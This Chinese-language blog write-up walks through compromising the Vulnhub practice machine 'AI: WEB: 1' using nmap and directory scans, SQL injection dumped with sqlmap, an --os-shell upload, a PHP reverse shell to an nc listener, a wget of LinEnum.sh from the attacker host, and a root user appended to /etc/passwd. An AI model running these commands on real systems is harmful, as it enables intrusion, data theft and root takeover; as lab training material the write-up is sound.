Vulnhub靶机 AI WEB 1

Vulnhub靶机 AI: WEB: 1

靶场介绍

靶场地址:https://www.vulnhub.com/entry/ai-web-1,353/

主要内容:SQL注入 > sqlmap --os -shell > /etc/passwd提权

image-20221008133944419

环境搭建

靶机下载地址:https://download.vulnhub.com/aiweb/AI-Web-1.0.7z

下载完成之后,用虚拟机打开,我这里更改为 nat 模式,如果不成功,直接把网络适配器删掉重新添加即可。

image-20221008134750982

安装成功:

image-20221008134928699

信息收集

1、主机发现

arp-scan -l

image-20221008135033734

2、端口扫描

发现端口和服务信息

nmap -sS -sV -T4 -A -p- 192.168.247.167

image-20221008135325742

发现只有一个80端口 以及 他的目录信息。访问80端口:

image-20221008135704258

3、目录扫描

1> 对主站进行目录爆破

dirsearch -u http://192.168.247.167 -e * 

image-20221008135841500

访问 robots.txt => http://192.168.247.167/robots.txt

image-20221008135935391

访问上面两个目录都是无法访问的,只能访问 http://192.168.247.167/se3reTdir777/

image-20221008140058929

看到这个页面,想到可能存在SQL注入,等会可以进行尝试。

2> 爆破~/se3reTdir777/目录

dirsearch -u http://192.168.247.167/se3reTdir777/ -e * 

image-20221008141420380

这个目录没爆破出有用的内容,还是跟上面一样的东西

image-20221008141612391

3> 尝试对/m3diNf0/目录进行爆破

dirsearch -u http://192.168.247.167/m3diNf0/ -e * 

image-20221008140405032

访问:http://192.168.247.167/m3diNf0/info.php 是 phpinfo泄露,这个先放着,后面可能会用到。

image-20221008140507950

漏洞发现及利用

1、双引号闭合的SQL注入

继续尝试挖掘 sql注入:http://192.168.247.167/se3reTdir777/

输入:1

image-20221008140735205

输入:2

image-20221008140833036

输入:3

image-20221008140853229

输入:4

image-20221008140914181

根据上面的回显,可以知道数据库中有三个用户,现在就可以添加符号来尝试了。

输入:1'")#  

image-20221008142135311

根据报错语句可知,这里是双引号闭合方式,可以简单试一下

输入 1" 回显正常,但是输入 1' 或者 1) 都不正常,所以判定为 双引号闭合注入

image-20221008143414723

这里抓数据包 直接放到sqlmap中

image-20221008142615152

2、sqlmap跑数据

sqlmap -r sqlmap.txt

image-20221008143250257

爆出数据库:

sqlmap -r sqlmap.txt --dbs

image-20221008143534180

爆出表名:

sqlmap -r sqlmap.txt -D aiweb1 --tables

image-20221008143708186

爆出 aiweb1 中所有内容:

sqlmap -r AI-WEB1.txt -D aiweb1 --dump-all –batch

image-20221008143950665

这里的账号密码出来了,密码需要base64解密,由于没有找到登录页面,这些账号密码也没什么用。

id password userName
1 RmFrZVVzZXJQYXNzdzByZA== t00r
2 TXlFdmlsUGFzc19mOTA4c2RhZjlfc2FkZmFzZjBzYQ== aiweb1pwn
3 TjB0VGhpczBuZUFsczA= u3er

3、尝试使用--os-shell直接getshell


使用OS_shell的条件

​ 1> 具有file权限

​ 2> 攻击者需要知道网站的绝对路径

​ 3> GPC为off,php主动转义的功能关闭


这里的绝对路径可以从 phpinfo 中得到 网站根目录 => /home/www/html/web1x443290o2sdf92213

image-20221008145626690

尝试 --os-shell ---失败了,可能是没有写入权限。

image-20221008150003214

想到之前有个/se3reTdir777/uploads/目录,作为上传目录应该是有写入权限的,一试果然可以。

所以这里的路径为:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

image-20221008150625117

由上面--os-shell成功上传之后,我们得到两个地址,其中的tmpbzvoz.php目录可以直接执行命令

http://192.168.247.167:80/se3reTdir777/uploads/tmpbzvoz.php

image-20221008151353348

tmpurkyv.php目录可以让我们上传文件到网站路径下

http://192.168.247.167:80/se3reTdir777/uploads/tmpurkyv.php

image-20221008151130223

4、上传php恶意脚本

利用执行os_shell留下来的上传页面 上传php恶意脚本,反弹shell

image-20221008151130223

0> 利用kali自带的webshell

在目录/usr/share/webshells/php下,有自带的php-reverse-shell.php

1> 先将它复制到桌面

cp php-reverse-shell.php /root/桌面/

2> 再将其中的ip与端口进行修改image-20221008152159658

3> 上传木马

image-20221008152448703

4> kali中进行监听

nc -lvnp 8888

image-20221008152609521

5> 访问上传的木马

http://192.168.247.167/se3reTdir777/uploads/php-reverse-shell.php

到监听端查看,发现成功监听

image-20221008152802217

如果这样的页面不是很好看,我们利用python来模拟一个交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

image-20221008153237179

Linux /etc/paswd 提权

1、上传扫描脚本 LinEnum.sh

上传扫描脚本看靶机的配置是否有问题

1> 攻击机开启一个web服务

python2 -m SimpleHTTPServer 8081 

image-20221008155152562

2> 靶机下载脚本

cd /tmp
wget 192.168.247.160:8081/LinEnum.sh

image-20221008155345578

3> 给脚本执行权限

chmod 777 LinEnum.sh
./LinEnum.sh

查看脚本输出信息

4> 发现漏洞

发现passwd文件我们竟然能够修改

image-20221008161225223

2、漏洞利用

1> Linux /etc/paswd 提权 原理

利用/etc/passwd 提权的前提条件是拥有写的权限,有时候有些运维人员大意导致其他设置权限时导致/etc/passwd拥有写的权限

假如我们拿下了一个服务器,发现他的etc/passwd拥有其他用户写的权限,此时我们可以通过编辑etc/passwd来添加用户。我们指定一个用户,在密码占位符后指定密码,并将uid设置为0。并将其添加到/etc/passwd中

2> 具体实施

首先,使用perl语言生成带有盐值的密码,此地的123456便是我们要加盐的密码

perl -le 'print crypt("123456","addedsalt")'

image-20221008163108522

然后将有需要的用户test添加到 /etc/passwd 中

echo "test:adrla7IBSfTZQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd

我们查看一下/etc/passwd文件,发现我们添加的用户已经写入

image-20221008163306907

我们尝试进行登录用户test,密码是我们设置的123456,发现我们创建的用户test,是以root的权限在登录

su test
123456

image-20221008163642278

查看flag

image-20221008163747836

总结

os-shell 执行原理

对于mysql数据库来说,--os-shell的本质就是写入两个php文件。

其中的tmpurkyv.php可以让我们上传文件到网站路径下,如下图。

http://192.168.247.167:80/se3reTdir777/uploads/tmpurkyv.php

image-20221008151130223

然后 sqlmap 就会通过上面这个php上传一个用于命令执行的tmpbylqf.php到网站路径下,让我们命令执行,并将输出的内容返回sqlmap端。

http://192.168.247.167:80/se3reTdir777/uploads/tmpbzvoz.php

image-20221008151353348

sqlmap上传shell的过程中的小问题

image-20221008164515242

posted @ 2022-10-08 16:56  lx20220922  阅读(508)  评论(0编辑  收藏  举报